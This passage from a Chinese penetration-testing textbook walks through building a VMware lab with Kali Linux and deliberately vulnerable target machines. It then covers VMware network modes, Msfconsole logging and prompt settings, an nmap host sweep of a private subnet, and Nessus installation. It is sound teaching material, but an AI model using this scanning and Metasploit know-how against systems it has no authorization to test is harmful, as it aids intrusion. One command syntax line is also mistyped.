（3）这是新建虚拟机的欢迎界面，在其中可以选择新建虚拟机的类型。这里提供了两种方式，分别是“典型（推荐）（T）”和“自定义（高级）（C）”。这两种方式的区别就是，第一种方式的操作比较简单，第二种方式需要手动设置一些信息，如硬件兼容性、处理器和内存等。如果是新手的话，推荐使用“典型（推荐）（T）”方式。而且，关于虚拟机的高级（处理器、内存等）设置，在创建完虚拟机后也可以进行。所以，本例中选择“典型”类型，然后单击“下一步”按钮，进入如图1.36所示对话框。
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图1.35　设置虚拟机的类型
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图1.36　设置安装来源
 
（4）选择安装客户机的来源，即插入安装镜像文件的方法。从对话框中可以看到，默认提供了3种方式。这里选择“稍后安装操作系统（S）”方式，然后单击“下一步”按钮，进入如图1.37所示对话框。
 
（5）在该对话框用于选择要安装的操作系统和版本。本例中创建的是Kali Linux（基于Debian）操作系统，所以这里选择Linux操作系统，版本为“Debian 9.x 64位”。然后单击“下一步”按钮，进入如图1.38所示的界面。
 
（6）在该对话框中需要为虚拟机创建一个名称，并设置虚拟机的安装位置。设置完成后，单击“下一步”按钮，进入如图1.39所示对话框。
 
（7）在其中设置磁盘的容量。对于渗透测试的用户，通常在进行密码暴力破解时，会有一个很大的密码字典。如果密码字典过大的话，占用的空间也大。所以，在有足够大的磁盘时，建议设置的磁盘容量大一点，以避免造成磁盘容量不足。本例中设置为80GB。设置完后，单击“下一步”按钮，进入如图1.40所示对话框。
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图1.37　设置客户机操作系统
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图1.38　命名虚拟机
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图1.39　指定磁盘容量
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图1.40　已准备好创建虚拟机
 
（8）该对话框中显示了新创建的虚拟机的详细信息，单击“完成”按钮，将打开如图1.41所示的窗口。
 
（9）其中显示了新创建的Kali Linux虚拟机。接下来就可以在该虚拟机中安装Kali Linux操作系统了。单击“编辑虚拟机设置”，将弹出如图1.42所示对话框。
 
（10）为了使用户的虚拟机效率提高，建议设置内存（大于等于2GB）和处理器（2个处理器）。从图1.42的左侧栏中可以看到，用户可以手动设置内存、处理器、硬盘、网络适配器等。单击左侧的选项卡，然后在右侧修改其值。例如，设置该虚拟机的内存，可以直接修改右侧“此虚拟机的内存”文本框中的值，也可以通过鼠标拖动滑块来调整其内存大小。本例中要设置使用ISO镜像文件，所以选择CD/DVD（IDE）选项，然后单击“确定”按钮，进入如图1.43所示对话框。
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图1.41　新建的虚拟机
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图1.42　虚拟机设置对话框
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图1.43　设置ISO镜像文件
 
（11）在该对话框的右边部分，可以看到在“连接”选项组中有“使用物理驱动器”选项，当物理机中插入了安装镜像光盘时，使用该选项加载镜像光盘；如果没有物理驱动器，则需要使用第二种方式“使用ISO镜像文件（M）”。这里选择“使用ISO镜像文件（M）”单选按钮，然后选择kali安装镜像文件，如图1.44所示。
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图1.44　已选择ISO镜像文件
 
（12）单击“确定”按钮保存设置，将返回图1.41所示对话框。然后，单击“开启此虚拟机”，显示如图1.45所示的安装界面。
 
 
 [image: ] 


图1.45　安装界面
 
（13）此时，即可开始安装该操作系统了。由于操作系统的安装不是本书的重点，所以这里不再赘述。
 
[image: ]提示：使用以上的方法，可以创建各种Windows或Linux操作系统。
1.6.2　使用第三方虚拟靶机
 
有一些第三方网站提供了可直接使用的虚拟靶机，用户下载后即可直接在VMware虚拟机中使用。下面介绍如何使用第三方创建的几种虚拟靶机。
 
1．使用WordPress虚拟靶机
 
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。为了方便用户练习渗透测试WordPress应用程序，Turnkey Linux提供了一个非常好的资源。下面介绍使用WordPress虚拟靶机的方法。
 
【实例1-7】以Turnkey Linux系统为例，介绍使用WordPress虚拟靶机的方法。具体操作步骤如下：
 
（1）获取WordPress应用程序。其中，WordPress应用程序的下载地址为http://www.turnkeylinux.org。在浏览器中打开该网址后，将打开如图1.46所示的页面。
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图1.46　Turnkey主页
 
（2）在该页面中列出了许多程序，可以通过向下滚动鼠标进行查看。由于篇幅的原因，图1.46只截取了一小部分内容。在该页面中，用户可以尝试使用各种软件查找漏洞，并通过攻击这些应用程序来测试用户的技术水平。本例选择测试WordPress，向下滚动鼠标可以看到Instant search（及时搜索）对话框，如图1.47所示。
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图1.47　立即搜索
 
（3）在该对话框中输入WordPress，按Enter键，进入如图1.48所示的页面。
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图1.48　WordPress应用程序
 
（4）在该页面可以看到WordPress程序已经找到，此时单击WordPress-Blog Publishing Platform链接进入下载页面，如图1.49所示。
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图1.49　Turnkey下载页面
 
（5）在该页面中选择下载ISO映像文件。单击336MB ISO链接，显示如图1.50所示的界面。
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图1.50　正在下载镜像文件
 
（6）从中可以看到正在下载Turnkey WordPress系统。如果没有开始下载的话，单击direct link链接即可开始下载。下载的软件包名为turnkey-wordpress-15.1-stretch-amd64.iso。
 
（7）将前面下载的ISO文件导入光驱中，即可启动此虚拟机，如图1.51所示。
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图1.51　TURNKEY初始界面
 
（8）选择Install to hard disk选项，按Enter键，进入如图1.52所示的界面。
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图1.52　选择分区方法
 
（9）在该界面中需选择分区的方法。系统提供了3种方法，分别是使用整个磁盘、使用整个磁盘并设置LVM和手动分区。这里选择第一种，然后单击OK按钮，进入如图1.53所示的界面。
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图1.53　将数据写入磁盘
 
（10）该界面显示了磁盘的分区表信息，此时提示是否要写入数据。单击Yes按钮，进入如图1.54所示的界面。
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图1.54　复制数据到磁盘
 
（11）该界面显示了复制数据的磁盘的进度。复制完后，显示界面如图1.55所示。
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图1.55　安装GRUB引导
 
（12）该界面提示是否安装GRUB引导加载程序的主引导记录。单击Yes按钮，进入如图1.56所示的界面。
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图1.56　是否重启系统
 
（13）该界面显示WordPress Turnkey Linux已经安装完成，询问是否现在重新启动系统。单击Yes按钮，进入如图1.57所示的界面。
 
（14）在其中为Root用户设置一个密码。输入密码后，单击OK按钮，进入如图1.58所示的界面。
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图1.57　设置Root密码
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图1.58　Root确认密码
 
（15）此时要求再次为Root用户输入相同的密码，单击OK按钮，进入如图1.59所示的界面。
 
（16）为MySQL服务的root用户设置一个密码，设置完后单击OK按钮，进入如图1.60所示的界面。
 
（17）再次为MySQL服务的root用户输入相同的密码，然后单击OK按钮，进入如图1.61所示的界面。
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图1.59　设置MySQL密码
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图1.60　MySQL确认密码
 
（18）此时要求为Wordpress的用户admin设置一个密码，输入密码后，单击OK按钮，进入如图1.62所示的界面。
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图1.61　设置Wordpress用户admin密码
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图1.62　确认Wordpress用户admin密码
 
（19）再次为Wordpress用户admin输入相同的密码，然后单击OK按钮，进入如图1.63所示的界面。
 
（20）该界面提示为Wordpress用户admin设置一个邮件地址，这里使用默认的admin@example.com。然后单击Apply按钮，进入如图1.64所示的界面。
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图1.63　设置邮件地址
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图1.64　显示初始化Hub服务信息
 
（21）该界面显示了初始化Hub服务信息，单击Skip按钮，进入如图1.65所示的界面。
 
（22）该界面提示是否确定要跳过设置邮件地址。单击Skip按钮，进入如图1.66所示的界面。
 
（23）该界面提示是否现在安装安全更新，单击Install按钮，开始更新该系统。如果不希望更新的话，则单击Skip按钮。系统安装完成后，显示如图1.67所示的界面。
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图1.65　确认安全警告
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图1.66　提示是否安装更新
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图1.67　WordPress应用服务信息
 
（24）该界面显示了WordPress应用服务的相信信息，如Web地址、Web shell地址和端口、Webmin地址、Adminer地址和端口、SSH/SFTP地址和端口等。此时，表明WordPress Turnkey Linux就可以使用了。
 
2．使用Metasploitable虚拟靶机
 
Metasploitable是一款基于Ubuntu Linux的操作系统。该系统是一个虚拟机系统，从http://sourceforge.net/projects/metasploitable/files/Metasploitable2/网站下载解压之后可以直接使用，无须安装。由于基于Ubuntu，所以Metasploitable使用起来十分容易。Metasploitable的作用就是作为攻击用的靶机，所以它存在大量未打补丁的漏洞，并且开放了无数高危端口。下面将介绍如何使用Metasploitable虚拟靶机。
 
【实例1-8】安装Metasploitable 2操作系统。具体操作步骤如下：
 
（1）下载Metasploitables 2，其文件名为Metasploitable-Linux-2.0.0.zip。
 
（2）将下载的文件解压到本地磁盘。
 
（3）打开VMwareWorstation，并依次选择“文件”|“打开”命令，打开如图1.68所示对话框。
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图1.68　选择Metasploitable 2启动
 
（4）在其中找到Metasploitable 2系统所在的位置，并选择Metasploitable.vmx文件。单击“打开”按钮，将打开如图1.69所示的页面。
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图1.69　安装的Metasploitable系统
 
（5）看到该页面，表示打开了已安装好的虚拟机。单击“开启此虚拟机”按钮或按钮，启动Metasploitable操作系统。成功启动该操作系统后，将显示如图1.70所示的页面。
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图1.70　成功启动Metasploitable操作系统
 
（6）看到该项界面，表示已成功启动Metasploitable操作系统。但是，用户需要登录该系统后才可以进行操作。该操作系统默认的用户名和密码都是msfadmin。登录成功后，将显示如图1.71所示的页面。
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图1.71　登录Metasploitable操作系统
 
（7）从显示的信息中可以看到，当前系统是工作在第一个虚拟伪终端tty1，并且登录系统的用户是一个普通用户。如果需要root用户权限时，可以使用sudo命令来实现。
 
3．使用OVA虚拟靶机
 
某些第三方提供的虚拟靶机是OVA格式的文件，如Xplico服务的虚拟机。下面以Xplico虚拟靶机为例，介绍其在VMware中的使用方法。
 
【实例1-9】在VMware中使用OVA虚拟靶机。具体操作步骤如下：
 
（1）下载VirtualBox Image的Xplico，下载完成后包名称为Xplico-1.1.0-ubuntu-13.10-i386.ova。
 
（2）将下载好的OVA文件导入VMware虚拟机中。启动VMware虚拟机，显示如图1.72所示的界面。
 
 
 [image: ] 


图1.72　VMware的主界面
 
（3）单击“打开虚拟机”或者在菜单栏中依次选择“文件（F）”|“打开（O）...”命令，打开如图1.73所示对话框。
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图1.73　打开虚拟机文件
 
（4）在其中选择下载好的.ova文件，单击“打开”按钮，弹出如图1.74所示对话框。
 
（5）在其中设置导入虚拟机的名称及虚拟机的保存路径。本例中使用默认的名称和路径，单击“导入”按钮，进入如图1.75所示对话框。
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图1.74　导入虚拟机
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图1.75　警告信息
 
（6）对话框中显示导入失败，这只是一个警告信息，提示导入的文件“不能通过OVF规格一致性验证”。这是因为VirtualBox和VMware不是完全兼容。单击“重试”按钮，即可成功导入。导入成功后，显示如图1.76所示的页面。
 
 
 [image: ] 


图1.76　导入的虚拟机
 
（7）单击“开启此虚拟机”，即可启动该虚拟机，如图1.77所示。
 
（8）此时输入用户名和密码即可登录该系统。其中，默认的用户名是ubuntu、密码是reverse。登录成功后，显示界面如图1.78所示。
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图1.77　成功启动该虚拟机
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图1.78　成功登录虚拟机
1.6.3　虚拟机网络
 
如果要使用虚拟靶机，则需要为该虚拟机分配一个IP地址。在虚拟机的网络连接中，有3种模式可以用来连接网络，分别是桥接模式、NAT模式和仅主机模式。在设置虚拟机的网络之前，首先介绍下这3种模式的区别。
 
·桥接模式：在该模式中，虚拟机就是一个单独的机子，没有什么其他限制的。虚拟机和主机是通过虚拟VMnet0连接到外界的。有单独的IP，可以随意和互连的每一个主机进行联系。

·NAT模式：在该模式下，虚拟系统需要借助NAT（网络地址转换）功能，通过宿主主机所在的网络来访问公网。也就是说，使用NAT模式，虚拟系统可把物理主机作为路由器访问互联网。NAT模式下的虚拟系统的TCP/IP配置信息，是由VMnet8（NAT）虚拟网络的DHCP服务器提供的，无法进行手工修改。因此，该局域网中的其他真实主机和虚拟系统无法进行通信。采用NAT模式最大的优势是虚拟系统接入互联网非常简单，用户不需要进行其他的配置，只要宿主主机能访问互联网即可。

·仅主机模式：在这种模式下，所有的虚拟系统是可以相互通信的，但虚拟系统和真实的网络是被隔离开的。虚拟机系统和宿主主机系统是可以相互通信的，相当于这两台主机直接通过双绞线互连。
 
1．设置虚拟机所使用的网络类型
 
当用户了解虚拟机的网络模式后，即可对虚拟靶机进行网络设置了。具体操作步骤如下：
 
（1）在VMware的菜单栏中，依次选择“虚拟机”|“设置”命令，打开虚拟机设置界面，如图1.79所示。
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图1.79　虚拟机设置界面
 
（2）在左边区域选择“网络适配器”选项，右边区域将显示网络连接设置，如图1.80所示。
 
（3）在“网络连接”选项区域中，可以看到虚拟机提供了3种网络连接类型。用户可以根据自己的环境选择对应的网络类型。
 
[image: ]注意：如果选择桥接模式的话，必须要将“复制物理网络连接状态（P）”前面的复选框选上；否则，该主机将无法连接到互联网。选择好网络类型后，单击“确定”按钮保存配置。
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图1.80　网络连接设置
 
2．查看及设置网络类型的参数
 
通常情况下，对于攻击靶机来说，渗透测试者无法确定该主机所在的网络。所以，在实施渗透之前，用户需要确定主机的网络，才可以对网络中的靶机进行扫描，判断靶机的IP地址及存在的漏洞等。下面将介绍如何查看及设置网络类型的参数。
 
【实例1-10】查看虚拟网络类型的参数。具体操作步骤如下：
 
（1）单击Windows左下角的[image: ]（开始程序）按钮，在弹出的菜单栏中依次选择“所有程序”|VMware|“虚拟机网络编辑器（以管理员身份运行）”命令，打开“虚拟网络编辑器”对话框，如图1.81所示。
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图1.81　“虚拟网络编辑器”对话框1
 
[image: ]提示：如果要对网络参数进行设置，必须以管理员身份运行虚拟网络编辑器。否则，将打开如图1.82所示的对话框。
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图1.82　“虚拟机网络编辑器”对话框2
 
可以看到，此时用户无法对网络进行配置。如果要修改配置必须具有管理员权限。不过，用户也可以在该界面单击“更改设置”按钮，然后获取到管理员权限重新加载该程序。
 
（2）在其中可以看到虚拟机3种网络的地址范围。例如，VMnet0（桥接模式）的网络地址段为192.168.86.0；VMnet1（仅主机模式）的网络地址段为192.168.118.0；VMnet8（NAT模式）的网络地址段为192.168.30.0。
 
从虚拟网络编辑器的界面，可以看到每种网络类型都对应有设置界面。如果要连接到互联网，通常是使用桥接或NAT模式。对于桥接模式来说，通常情况下是当物理机上有多块网卡时，用户可以手动选择将桥接到哪块网卡，默认是自动选择。这里主要介绍一下NAT模式的设置。具体操作步骤如下：
 
（1）在“虚拟网络编辑器”对话框中选择NAT模式，将会看到有一个“NAT设置（S）...”按钮，如图1.83所示。
 
（2）在其中可以对该模式的子网IP、掩码和DHCP进行设置。如果要进行高级设置，单击“NAT设置”按钮，进入“NAT设置”对话框，如图1.84所示。
 
（3）在其中可以设置该网络的网关、端口转发及一些高级配置选项。当使用这种模式时，在某些时候设置端口转发是非常有必要的。因为使用NAT模式后，将会组成一个单独的网络，是无法与物理主机进行通信的。这时候可以通过设置端口转发来解决这个问题。设置完成后，单击“添加”按钮，打开“映射传入端口”对话框，如图1.85所示。
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图1.83　设置NAT模式
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图1.84　“NAT设置”对话框
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图1.85　“映射传入端口”对话框
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图1.86　添加的端口转发
 
（4）在该对话框中可设置端口转发。例如，将主机80端口的所有数据，映射到虚拟机192.168.30.138的4444端口，设置效果如图1.85所示。设置完成后，单击“确定”按钮，返回“NAT设置”对话框中，如图1.86所示。
 
（5）从中可以看到刚才添加的端口转发地址。此时，连续单击两次“确定”按钮，使配置生效，并退出虚拟网络编辑器界面。
1.7　配置Msfconsole环境
 
在使用Metasploit实施渗透攻击时，往往需要同时进行几个任务，执行许多的命令，产生大量的输出信息。为了能够区分这些任务，以及方便后期分析所有输入或输出信息，在实施攻击之前需要适当配置Msfconsole环境。本节讲解如何对Msfconsole环境进行配置。
1.7.1　设置提示内容
 
启动Metasploit后，会看到提示内容“msf5>”，这是默认设置。其中，“msf5”为提示信息；“>”为提示符号。Metasploit提供了设置提示的功能。用户可以根据任务需要，对该内容进行修改。例如，在提示内容中显示任务名，以明确当前工作等。
 
1．设置提示信息
 
设置提示信息需要使用set Prompt命令。该命令的语法格式如下：
 


set Prompt value


 
其中，value为要显示的提示信息，可以是自定义的字符串。
 
【实例1-11】将提示信息设置为指定字符串My-msf，执行命令如下：
 


msf5 > set Prompt My-msf

Prompt => My-msf

My-msf >


 
最后一行显示My-msf>，表示提示信息由msf5变为了My-msf。
 
2．使用格式修饰符
 
提示信息不仅可以使用自定义的字符串，还可以使用格式修饰符引入新的信息。Metasploit支持多个格式修饰符，如表1.1所示。
 
表1.1　格式修饰符及含义
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【实例1-12】使用格式修饰符设置提示信息。
 
（1）在提示信息中显示当前主机的IP地址，执行命令如下：
 


msf5 > set Prompt %L

Prompt => %L

192.168.59.135 >


 
最后一行的192.168.59.135为本地的IP地址。
 
（2）在提示信息中显示主机名，执行命令如下：
 


msf5 > set Prompt %H

Prompt => %H

daxueba >


 
提示信息中的daxueba为主机名信息。
 
3．设置时间格式
 
当使用格式修饰符%T显示时间戳时，还可以通过set PromptTimeFormat命令设置时间格式。其语法格式如下：
 


set PromptTimeFormat value


 
其中，value为要显示的时间格式。取值可以为%Y、%m、%d、%H、%M、%S中的一个或多个。其中，%Y表示年份，%m表示月份，%d表示天数，%H表示小时，%M表示分钟，%S表示秒数。如果不进行设置，时间的默认显示格式为%Y-%m-%d%H：%M：%S。
 
【实例1-13】指定时间格式在提示信息中的显示时间。
 
（1）指定时间格式，以“月-日时：分”格式进行设置，执行命令如下：
 


msf5 > set PromptTimeFormat %m-%d %H:%M

PromptTimeFormat => %m-%d %H:%M


 
（2）在提示信息中显示时间。执行命令如下：
 


msf5 > set Prompt %T

Prompt => %T

04-11 14:47 >


 
最后一行表示当前时间为4月11日14小时47分。
 
4．设置提示符
 
用户也可以自定义提示符。设置提示符需要使用set PromptChar命令。该命令的语法格式如下：
 


set PromptChar value


 
其中，value为要显示的提示符。
 
【实例1-14】自定义提示符，将提示符设置为@。执行命令如下：
 


msf5 > set PromptChar @

PromptChar => @

msf5 @


 
最后一行中，提示符由原来的>变为了@。
1.7.2　启用计时功能
 
使用模块进行渗透攻击时，往往会持续很长时间。为了了解每一步操作发生的时间，需要具备计时功能。用户可以使用TimestampOutput选项启用该功能。其命令格式如下：
 


set TimestampOutput value


 
其中，value值可以为true和false。如果为true，表示启用计时功能；否则，不启用。默认为false。
 
【实例1-15】启用计时功能。
 
（1）启用计时功能。执行命令如下：
 


msf5 > set TimestampOutput true

TimestampOutput => true


 
输出信息表示成功启用了计时功能。
 
（2）模块运行后，将会看到相关的时间，如图1.87所示。其中，方框中为显示的时间，可以看到时间是2019年4月10日19点39分25秒时，已成功登录。
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图1.87　查看时间戳
1.7.3　使用日志
 
日志可以记录用户输入和输出的信息，便于后期分析。Metasploit提供了两种日志记录方式，一种是记录控制台的输入和输出信息，另一种是记录会话信息。
 
1．控制台日志
 
控制台日志用来记录Msfconsole发生的输入和输出信息。当用户要完成某项操作时，可能需要执行多个步骤。如果要将每一个步骤及输出信息记录下来，就可以使用控制台日志进行记录。默认情况下，该功能处于关闭状态，需要用户通过set ConsoleLogging命令将其开启。开启后，Metasploit会将信息默认保存在/root/.msf4/logs/console.log文件中。该命令的语法格式如下：
 


set ConsoleLogging value


 
其中，value值可以为true和false。如果为true，表示启用控制台日志记录功能；否则，不启用。默认为false。
 
【实例1-16】记录控制台的多个输入/输出信息。
 
（1）开启记录控制台的输入和输出功能。执行命令如下：
 


msf5 > set ConsoleLogging true

Console logging is now enabled.

ConsoleLogging => true


 
输出信息表示已经成功开启了控制台记录功能。
 
（2）执行一条命令，如查看选项，具体如下：
 


msf5 > show options



Global Options:

===============



   Option            Current Setting        Description

   ------            ---------------        -----------

   ConsoleLogging    true                  Log all console input and output

   LogLevel              0                       Verbosity of logs (default 0, max 3)

   MinimumRank           0                      The minimum rank of exploits that 

                                            will run

   without                                 explicit confirmation

   Prompt                msf5                    The prompt string

   PromptChar            >                      The prompt character

   PromptTimeFormat    %Y-%m-%d %H:%M:%S    Format for timestamp

   escapes in prompts

   SessionLogging        false                  Log all input and output for 

                                            sessions

   TimestampOutput   false                Prefix all console output with a 

                                            timestamp


 
（3）扫描网络中存在的主机。执行命令如下：
 


msf5 > db_nmap -sP 192.168.59.0/24

[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-10 16:18 CST

[*] Nmap: Nmap scan report for localhost (192.168.59.1)

[*] Nmap: Host is up (0.00022s latency).

[*] Nmap: MAC Address: 00:50:56:C0:00:08 (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.2)

[*] Nmap: Host is up (0.00024s latency).

[*] Nmap: MAC Address: 00:50:56:EA:F3:A1 (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.131)

[*] Nmap: Host is up (0.00042s latency).

[*] Nmap: MAC Address: 00:0C:29:DB:7E:4A (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.254)

[*] Nmap: Host is up (0.00030s latency).

[*] Nmap: MAC Address: 00:50:56:F7:C0:8E (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.135)

[*] Nmap: Host is up.

[*] Nmap: Nmap done: 256 IP addresses (5 hosts up) scanned in 2.09 seconds


 
步骤（2）和（3）的输入和输出信息都将被记录到控制台日志文件console.log中。
 
（4）查看控制台日志文件console.log中记录的信息，如图1.88所示。图中显示了被记录的所有控制台输入和输出信息，方框中为输入信息，下面信息为对应的输出信息。
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图1.88　控制台日志
 
2．会话日志
 
会话日志是用来记录成功攻击所建立会话的输出信息。该信息默认保存在/root/.msf4/logs/session文件夹中。启动Metasploit后，默认没有开启该功能，需要使用set SessionLogging命令开启。其语法格式如下：
 


set SessionLogging value


 
其中，value值可以为true和false。如果为true，表示启用会话日志功能；否则，不启用。默认为false。下面开启会话日志功能，执行命令如下：
 


msf5 > set SessionLogging true


 
3．日志详细级别
 
为了能够记录更详细的日志信息，用户可以使用set LogLevel命令设置日志详细级别。该命令的语法格式如下：
 


set SessionLogging value


 
其中，value值可以为0、1、2、3。值越高，级别也越高，显示的日志信息越详细。默认级值为0。例如，设置日志详细级别为2，执行命令如下：
 


msf5 > set LogLevel 2


1.7.4　设置模块默认级别
 
模块级别表示模块的可利用程度。Metasploit根据模块使用容易程度和对目标系统的潜在影响程度，对模块进行了分级。每个级别对应一个数值。数值越大，级别越高、可利用的程度越高，反之越低。用户可以根据排序级别，搜索可利用程度高或低的相关模块。模块级别顺序如表1.2所示。
 
表1.2　模块的级别
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在搜索模块时，Rank列会显示每个模块的级别，如图1.89所示。
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图1.89　搜索模块结果
 
在Metasploit中，如果模块没有设置级别，则默认级别为0。但是这些模块并不一定很难利用。对于这类模块，可以使用MinimumRank选项修改默认级别。例如，设置级别值为300，命令如下：
 


set MinimumRank 300


第2章　获取漏洞信息
 
如果要使用Metasploit实施渗透攻击，需要先获取目标主机的漏洞信息。用户可以借助一些漏洞扫描工具来获取目标主机的漏洞信息，然后根据漏洞所对应的攻击载荷实施渗透攻击。最常用的漏洞扫描工具包括Nessus和OpenVAS。用户还可以直接到官方网站获取一些设备或系统的漏洞信息。本章将介绍几种常用的获取漏洞信息的方法。
2.1　使用Nessus
 
Nessus号称是世界上最流行的漏洞扫描程序，全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务，并随时更新其漏洞数据库。Nessus可实施的漏洞扫描包括：网络设备（如防火墙、打印机）、虚拟主机（如VMware ESX、ESXi、vSphere）、操作系统（如Windows、Mac、Linux）、数据库（如Oracle、SQL Server、MySQL）、Web应用程序（如Web服务器、Web服务、OWASP漏洞）、危害检测（如病毒、恶意软件、后门）等。本节将介绍使用Nessus获取漏洞信息的方法。
2.1.1　安装并激活Nessus
 
需先安装Nessus工具。安装Nessus工具后，必须要激活才可使用。下面分别介绍安装并激活Nessus的方法。
 
1．获取Nessus安装包
 
Nessus的官方下载地址是：
 


http://www.tenable.com/products/nessus/select-your-operating-system


 
在浏览器中输入以上地址，将打开如图2.1所示的界面。
 
官网提供了Nessus工具各种平台的安装包，如Windows、Mac OS X、Linux、FreeBSD等。用户可以根据自己的操作系统及架构，选择对应的安装包。例如，选择下载Debian x64架构的安装包。在Name列单击对应的包，即Nessus-8.1.2-debian6_amd64.deb包，显示如图2.2所示的接受许可协议界面。
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图2.1　下载Nessus软件包
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图2.2　许可证协议对话框
 
该界面显示了下载Nessus软件包的许可证协议信息。单击I Agree按钮，开始下载。
 
2．安装Nessus
 
【实例2-1】以Kali Linux为例，介绍在Linux下安装Nessus工具的方法。具体操作步骤如下：
 
（1）从官网上下载安装包。本例中下载的安装包文件名为Nessus-8.1.2-debian6_amd64.deb。
 
（2）将下载的安装包复制到Kali中，本例中复制到/root下。开始安装Nesus工具。执行命令如下：
 


root@daxueba:~# dpkg -i Nessus-8.1.2-debian6_amd64.deb 

正在选中未选择的软件包 nessus。

(正在读取数据库 ... 系统当前共安装有 327450 个文件和目录。)

正准备解包 Nessus-8.1.2-debian6_amd64.deb  ...

正在解包 nessus (8.1.2) ...

正在设置 nessus (8.1.2) ...

Unpacking Nessus Core Components...

 - You can start Nessus by typing /etc/init.d/nessusd start

 - Then go to https://daxueba:8834/ to configure your scanner

正在处理用于 systemd (232-22) 的触发器 ...


 
看到输出以上类似信息，则表示Nessus工具安装完成。接下来，用户在浏览器的地址栏中输入https://daxueba:8834/或https://IP:8834，即可访问Nessus服务。
 
[image: ]提示：在Linux系统中，Nessus工具默认安装在/opt/nessus目录中。
 
3．激活Nessus
 
在使用Nessus之前，必须先激活该服务才可使用。如果要激活Nessus服务，则需要到官网获取一个激活码。下面介绍获取激活码的方法。具体操作步骤如下：
 
（1）在浏览器中输入地址：
 


http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-

code


 
打开如图2.3所示的界面。
 
（2）单击Nessus Home Free下面的Register Now按钮，显示如图2.4所示的界面。
 
（3）在该界面填写一些信息，以获取激活码。任意填写First Name和Last Name文本框在Email下的文本框填写一个合法的邮件地址，用来获取邮件。当以上信息设置完成后，单击Register按钮。接下来，将会在注册的邮箱中收到一份关于Nessus的邮件。进入邮箱打开收到的邮件，将会看到一串数字，类似XXXX-XXXX-XXXX-XXXX，即激活码。
 
（4）此时，可以使用以上获取到的激活码来激活该服务了。
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图2.3　获取激活码
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图2.4　注册信息
2.1.2　登录及配置Nessus
 
在实施漏洞扫描之前，还需要进行简单的配置，如创建策略和扫描任务等。下面介绍登录及配置Nessus的方法。
 
1．登录Nessus服务
 
在登录Nessus服务之前，首先需要确定该服务已经启动。否则，无法连接到该服务。默认情况下，安装该服务后是没有启动的。所以，用户需要先启动该服务。执行命令如下：
 


root@daxueba:~# /etc/init.d/nessusd start

Starting Nessus services:                                  [确定]


 
从输出的信息中可以看到，Nessus服务已经启动。接下来，用户就可以连接该服务了。
 
【实例2-2】登录Nessus服务。具体操作步骤如下。
 
（1）在浏览器的地址栏中输入https://IP:8834，访问Nessus服务。打开如图2.5所示的界面。
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图2.5　连接不受信任
 
[image: ]注意：Nessus服务使用的是https协议，而不是http协议。
 
（2）在该界面显示该连接不受信任。这是因为Nessus是一个安全连接（HTTPS协议），所以需要被信任后才允许登录。单击Advanced按钮，显示如图2.6所示的界面。
 
（3）该界面显示了此链接可能存在的风险。单击Add Exception…按钮，显示如图2.7所示的界面。
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图2.6　了解风险
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图2.7　添加安全例外
 
（4）单击Confirm Security Exception按钮，显示如图2.8所示的界面。
 
（5）该界面要求创建一个账号，用于管理Nessus服务。这是因为第一次使用，目前还没有创建任何账号。在该界面创建一个用户账号，并设置密码。然后单击Continue按钮，显示如图2.9所示的界面。
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图2.8　创建账号
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图2.9　输入激活码
 
（6）在该界面输入从邮件中的获取到的激活码。单击Continue按钮，显示如图2.10所示的界面。
 
（7）下载完后，进行初始化。此过程，需要很长一段时间，用户需要耐心等待。当初始化完成后，显示如图2.11所示的界面。
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图2.10　下载插件
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图2.11　 Nessus登录界面
 
（8）输入在第（5）步骤中创建的账户和密码，单击Sign In按钮，即可登录Nessus服务。登录成功后，显示如图2.12所示界面。
 
（9）看到该界面，则表示已成功登录到Nessus服务。接下来，创建对应的策略和扫描任务即可对目标实施漏洞扫描。
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图2.12　Nessus的主界面
 
2．创建策略
 
策略，简单地说就是使Nessus工具使用最佳化的配置，对目标主机进行扫描。所以在实施扫描之前，创建策略也是非常重要的。Nessus工具默认提供了21个扫描策略模板。如果用户希望重新定制的话，则可以创建新的策略。下面介绍新建策略的方法。
 
【实例2-3】创建策略。具体操作步骤如下：
 
（1）在Nessus主界面的左侧栏中单击Policies命令，显示如图2.13所示的界面。
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图2.13　策略界面
 
（2）单击右上角的New Policy按钮，显示如图2.14所示的界面。
 
（3）从该界面可以看到所有的策略模板，用户可以选择选择任意一个模板类型来创建新的策略。其中，在图标中显示有UPGRADE信息的，表示家庭版不可以使用。这里选择Advanced Scan类型。单击该图标后，显示如图2.15所示的界面。
 
（4）在该界面设置策略名和描述信息（可选项）。这里设置策略名为Local Vulnerability Assessment。然后单击Plugins标签，显示如图2.16所示的界面。
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图2.14　策略模板
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图2.15　新建策略
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图2.16　插件程序
 
（5）该界面显示了所有插件程序，从该界面可以看到默认全部是启动的。单击Disable All按钮，禁用所有启动的插件程序。然后指定需要启动的插件程序，如启动Debian Local Security Checks和Default Unix Accounts插件程序，启动后显示效果如图2.17所示。
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图2.17　启动的插件程序
 
[image: ]提示：用户可以根据自己的需要，添加各种类型的漏洞插件。
 
（6）单击Save按钮，显示如图2.18所示的界面。
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图2.18　新建的策略
 
（7）从该界面可以看到新建的策略Local Vulnerability Assessment，表示该策略已创建成功。
 
3.创建扫描任务
 
策略创建成功后，必须要新建扫描任务才能实施漏洞扫描。下面介绍新建扫描任务的具体操作步骤。
 
（1）在Nessus的主界面单击打开Scans选项卡，打开扫描任务界面，如图2.19所示。
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图2.19　扫描任务界面
 
（2）从该界面可以看到当前没有任何扫描任务，所以需要添加扫描任务后才能扫描。单击右上角的New Scan按钮，显示如图2.20所示界面。
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图2.20　新建扫描任务
 
（3）该界面显示了一些可创建的扫描任务模板。打开User Defined选项卡，可以看到用户手动创建的策略模板。选择Advanced Scan模板类型，显示如图2.21所示的界面。
 
（4）在该界面设置扫描任务名称、描述、文件夹及扫描目标。设置完以上信息后，单击Plugins标签，设置启用不同的漏洞扫描插件。然后单击Save按钮，即可看到新建的扫描任务，如图2.22所示。
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图2.21　新建扫描任务
 
 
 [image: ] 


图2.22　新建的扫描任务
 
（5）单击[image: ]图标，开始对目标进行扫描。
2.1.3　实施漏洞扫描
 
通过前面的步骤，创建完成扫描任务后，即可对指定的目标实施扫描。下面介绍实施漏洞扫描的方法。
